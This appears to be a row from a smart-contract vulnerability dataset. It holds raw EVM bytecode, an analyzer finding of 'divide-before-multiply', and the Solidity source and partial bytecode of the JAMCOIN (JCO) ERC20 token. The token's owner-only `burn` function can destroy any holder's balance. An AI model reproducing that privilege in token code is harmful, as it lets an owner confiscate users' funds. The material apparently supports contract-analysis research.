600091825260209091200154600160a060020a0316141561072e5760058054600019810190811061067f57fe5b60009182526020909120015460058054600160a060020a0390921691839081106106a557fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906106e1906000198301611c4e565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610736565b60010161062f565b5050565b600860205260009081526040902054600160a060020a031681565b600c60209081526000928352604080842090915290825290205481565b600154600160a060020a031681565b610789611c77565b60048054806020026020016040519081016040528092919081815260200182805480156107df57602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116107c1575b505050505090505b90565b600a6020526000908152604090205481565b600d54600160a060020a031681565b60115481565b60076020526000908152604090205481565b600e5481565b60005433600160a060020a0390811691161461084457600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108a157600080fd5b6102c65a03f115156108b257600080fd5b5050506040518051905015156108c757600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a0390811691161461093b57600080fd5b600160a060020a03811660009081526003602052604090205460ff161561096157600080fd5b6005546032901061097157600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff1916600190811790915560058054909181016109f08382611c4e565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b60096020526000908152604090205481565b600160a060020a03331660009081526002602052604090205460ff161515610a5557600080fd5b60648210610a6257600080fd5b600160a060020a0381161515610a7757600080fd5b600160a060020a0383811660009081526007602090815260408083208690556008909152908190208054600160a060020a031916928416929092179091557f999efec8241b9b7a1d9c2d2e207cde178cb3a02ca6a94d070eecb369674ead6f9084908490849051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a03908116911614610b2b57600080fd5b6127108110610b3957600080fd5b600160a060020a038216600090815260096020526040908190208290557f19f0c31fd2313f709ad6b9f15595720ff5765b72b394025288ac4f355fee0952908390839051600160a060020a03909216825260208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610bba57600080fd5b600160a060020a0381161515610bcf57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610c5557600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610cef57600080fd5b600160a060020a0381161515610d0457600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610dbe611c77565b60058054806020026020016040519081016040528092919081815260200182805480156107df57602002820191906000526020600020908154600160a060020a031681526001909101906020018083116107c1575050505050905090565b601054600f546000918291600160a060020a039182169163809a9e559173eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee9116670de0b6b3a7640000856040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b1515610eaf57600080fd5b6102c65a03f11515610ec057600080fd5b50505060405180519060200180515050601054600f54919350600160a060020a039081169163809a9e55911673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee670de0b6b3a764000060006040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b1515610f6157600080fd5b6102c65a03f11515610f7257600080fd5b505050604051805190602001805150909150506f01812f9cf7920e2b66973e200000000082820210610fa357600080fd5b6e604be73de4838ad9a5cf880000000081830211610fc057600080fd5b69d3c21bcecceda1000000821115610fd757600080fd5b60118290557fe55ada78a782c5b59f55b44255857da4f2ed737a5a94b83e9275ee710d0d48c4828083336040519384526020840192909252604080840191909152600160a060020a0390911660608301526080909101905180910390a15050565b60005433600160a060020a0390811691161461105357600080fd5b600160a060020a03811660009081526002602052604090205460ff161561107957600080fd5b6004546032901061108957600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff1916600190811790915560048054909181016109f08382611c4e565b60005433600160a060020a0390811691161461112357600080fd5b612710811061113157600080fd5b600e8190557f560f2dab6b3f89e548b63a9eabb6e43ec0e70bb81bdc69e5dc578c72bab629f58160405190815260200160405180910390a150565b6000805433600160a060020a0390811691161461118857600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156111af57600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156107365781600160a060020a03166004828154811015156111f457fe5b600091825260209091200154600160a060020a031614156112d05760048054600019810190811061122157fe5b60009182526020909120015460048054600160a060020a03909216918390811061124757fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906112839082611c4e565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610736565b6001016111d1565b601054600160a060020a031681565b60005433600160a060020a0390811691161461130257600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561133357600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b6000600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156113b25750600160a060020a03811631611426565b82600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561140957600080fd5b6102c65a03f1151561141a57600080fd5b50505060405180519150505b92915050565b600b6020526000908152604090205481565b600160a060020a038082166000908152600c60209081526040808320938616835292905220546001811161147157600080fd5b600160a060020a038083166000818152600c602090815260408083208886168452825280832060019055600f54938352600890915280822054928416936323b872dd931691879160001987019190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561151357600080fd5b6102c65a03f1151561152457600080fd5b50505060405180519050151561153957600080fd5b600160a060020a038083166000908152600b60205260409081902080548401600019019055908416907fb3f3e7375c0c0c4f7dd94069a5a4e68667827491318da786c818b8c7a794924e908490339051600160a060020a039283168152911660208201526040908101905180910390a2505050565b600f54600160a060020a031681565b60005433600160a060020a039081169116146115d857600080fd5b600160a060020a03811615156115ed57600080fd5b600d8054600160a060020a031916600160a060020a0383161790557f847d0f7f2b16c8dd0b72c0606e65e8bf1b624633d37905b0e08145a295ab875881604051600160a060020a03909116815260200160405180910390a150565b600160a060020a0381166000908152600a6020526040812054906002821161166f57600080fd5b600160a060020a038084166000908152600a6020526040902060019055600d54161580159061169f5750600e5415155b156117e05750600e54612710600019830191820204908190116116c157600080fd5b808203915060008111156117e057600f54600160a060020a0384811660009081526008602052604080822054600d54948416946323b872dd9491821693911691869190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561175857600080fd5b6102c65a03f1151561176957600080fd5b50505060405180519050151561177e57600080fd5b600d54600160a060020a03808516917f540d888e67a7f36992e365be9fddab5e2fd60e27b220d330c18f04650fd562e09133911684604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a25b600f54600160a060020a0384811660009081526008602052604080822054938316936379cc6790931691600019870191516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561185857600080fd5b6102c65a03f1151561186957600080fd5b50505060405180519050151561187e57600080fd5b600160a060020a0383166000818152600b6020526040908190208054848601016000199081019091557f2f8d2d194cbe1816411754a2fc9478a11f0707da481b11cff7c69791eb877ee191339186019051600160a060020a03909216825260208201526040908101905180910390a2505050565b600054600160a060020a031681565b601054600090819081908190819033600160a060020a0390811691161461192757600080fd5b6b204fce5e3e2502611000000088111561194057600080fd5b600f546011546119739173eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee91600160a060020a03909116908b90611ad0565b600160a060020a038816600090815260076020526040902054909450612710908502600160a060020a0388166000908152600960205260409020549190049350612710908402049150818310156119c957600080fd5b508082036000821115611a5657600160a060020a038088166000908152600c60209081526040808320938a1683529290528190208054840190557f366bc34352215bf0bd3b527cfd6718605e1f5938777e42bcd8ed92f578368f529088908890859051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b6000811115611ac2577ff838f6ddc89706878e3c3e698e9b5cbfbf2c0e3d3dcd0bd2e00f1ccf313e01858782604051600160a060020a03909216825260208201526040908101905180910390a1600160a060020a0387166000908152600a602052604090208054820190555b506001979650505050505050565b6000611aee83611adf87611af9565b611ae887611af9565b85611bbd565b90505b949350505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611b2a5760129150611bb7565b50600160a060020a038216600090815260066020526040902054801515611bb35782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611b9157600080fd5b6102c65a03f11515611ba257600080fd5b505050604051805190509150611bb7565b8091505b50919050565b60006b204fce5e3e25026110000000851115611bd857600080fd5b69d3c21bcecceda1000000821115611bef57600080fd5b838310611c225760128484031115611c0657600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611af1565b60128385031115611c3257600080fd5b828403600a0a670de0b6b3a764000002828602811515611c1a57fe5b815481835581811511611c7257600083815260209020611c72918101908301611c89565b505050565b60206040519081016040526000815290565b6107e791905b80821115611ca35760008155600101611c8f565b50905600a165627a7a72305820f5f2bea9ace551bb341b76e02cdbb17a0b71c4cbad5d961be00b8c8e3bca179e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,973 |
0xfab4da8b062c2e43fd5c9e0251a8738ad7a10e6e
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract JCO is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "JAMCOIN";
_symbol = "JCO";
_totalSupply = 1000000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(address account,uint256 amount) public onlyOwner {
_burn(account,amount);
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c5780639dc29fac1461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f9190611522565b60405180910390f35b610132600480360381019061012d91906112b6565b6103b4565b60405161013f9190611507565b60405180910390f35b6101506103d2565b60405161015d91906116a4565b60405180910390f35b610180600480360381019061017b9190611263565b6103dc565b60405161018d9190611507565b60405180910390f35b61019e6104dd565b6040516101ab91906116bf565b60405180910390f35b6101ce60048036038101906101c991906112b6565b6104e6565b6040516101db9190611507565b60405180910390f35b6101fe60048036038101906101f991906111f6565b610592565b60405161020b91906116a4565b60405180910390f35b61021c6105db565b005b610226610715565b60405161023391906114ec565b60405180910390f35b61024461073e565b6040516102519190611522565b60405180910390f35b610274600480360381019061026f91906112b6565b6107d0565b005b610290600480360381019061028b91906112b6565b61085a565b60405161029d9190611507565b60405180910390f35b6102c060048036038101906102bb91906112b6565b61094e565b6040516102cd9190611507565b60405180910390f35b6102f060048036038101906102eb9190611223565b61096c565b6040516102fd91906116a4565b60405180910390f35b610320600480360381019061031b91906111f6565b6109f3565b005b60606004805461033190611808565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611808565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b9c565b8484610ba4565b6001905092915050565b6000600354905090565b60006103e9848484610d6f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906115e4565b60405180910390fd5b6104d1856104c0610b9c565b85846104cc919061174c565b610ba4565b60019150509392505050565b60006012905090565b60006105886104f3610b9c565b848460026000610501610b9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058391906116f6565b610ba4565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105e3610b9c565b73ffffffffffffffffffffffffffffffffffffffff16610601610715565b73ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e90611604565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074d90611808565b80601f016020809104026020016040519081016040528092919081815260200182805461077990611808565b80156107c65780601f1061079b576101008083540402835291602001916107c6565b820191906000526020600020905b8154815290600101906020018083116107a957829003601f168201915b5050505050905090565b6107d8610b9c565b73ffffffffffffffffffffffffffffffffffffffff166107f6610715565b73ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390611604565b60405180910390fd5b6108568282610ff1565b5050565b60008060026000610869610b9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611684565b60405180910390fd5b610943610931610b9c565b85858461093e919061174c565b610ba4565b600191505092915050565b600061096261095b610b9c565b8484610d6f565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109fb610b9c565b73ffffffffffffffffffffffffffffffffffffffff16610a19610715565b73ffffffffffffffffffffffffffffffffffffffff1614610a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6690611604565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad690611584565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90611664565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906115a4565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6291906116a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd690611644565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4690611544565b60405180910390fd5b610e5a8383836111c7565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed8906115c4565b60405180910390fd5b8181610eed919061174c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7f91906116f6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe391906116a4565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890611624565b60405180910390fd5b61106d826000836111c7565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90611564565b60405180910390fd5b8181611100919061174c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160036000828254611155919061174c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111ba91906116a4565b60405180910390a3505050565b505050565b6000813590506111db81611bed565b92915050565b6000813590506111f081611c04565b92915050565b60006020828403121561120c5761120b611898565b5b600061121a848285016111cc565b91505092915050565b6000806040838503121561123a57611239611898565b5b6000611248858286016111cc565b9250506020611259858286016111cc565b9150509250929050565b60008060006060848603121561127c5761127b611898565b5b600061128a868287016111cc565b935050602061129b868287016111cc565b92505060406112ac868287016111e1565b9150509250925092565b600080604083850312156112cd576112cc611898565b5b60006112db858286016111cc565b92505060206112ec858286016111e1565b9150509250929050565b6112ff81611780565b82525050565b61130e81611792565b82525050565b600061131f826116da565b61132981856116e5565b93506113398185602086016117d5565b6113428161189d565b840191505092915050565b600061135a6023836116e5565b9150611365826118ae565b604082019050919050565b600061137d6022836116e5565b9150611388826118fd565b604082019050919050565b60006113a06026836116e5565b91506113ab8261194c565b604082019050919050565b60006113c36022836116e5565b91506113ce8261199b565b604082019050919050565b60006113e66026836116e5565b91506113f1826119ea565b604082019050919050565b60006114096028836116e5565b915061141482611a39565b604082019050919050565b600061142c6020836116e5565b915061143782611a88565b602082019050919050565b600061144f6021836116e5565b915061145a82611ab1565b604082019050919050565b60006114726025836116e5565b915061147d82611b00565b604082019050919050565b60006114956024836116e5565b91506114a082611b4f565b604082019050919050565b60006114b86025836116e5565b91506114c382611b9e565b604082019050919050565b6114d7816117be565b82525050565b6114e6816117c8565b82525050565b600060208201905061150160008301846112f6565b92915050565b600060208201905061151c6000830184611305565b92915050565b6000602082019050818103600083015261153c8184611314565b905092915050565b6000602082019050818103600083015261155d8161134d565b9050919050565b6000602082019050818103600083015261157d81611370565b9050919050565b6000602082019050818103600083015261159d81611393565b9050919050565b600060208201905081810360008301526115bd816113b6565b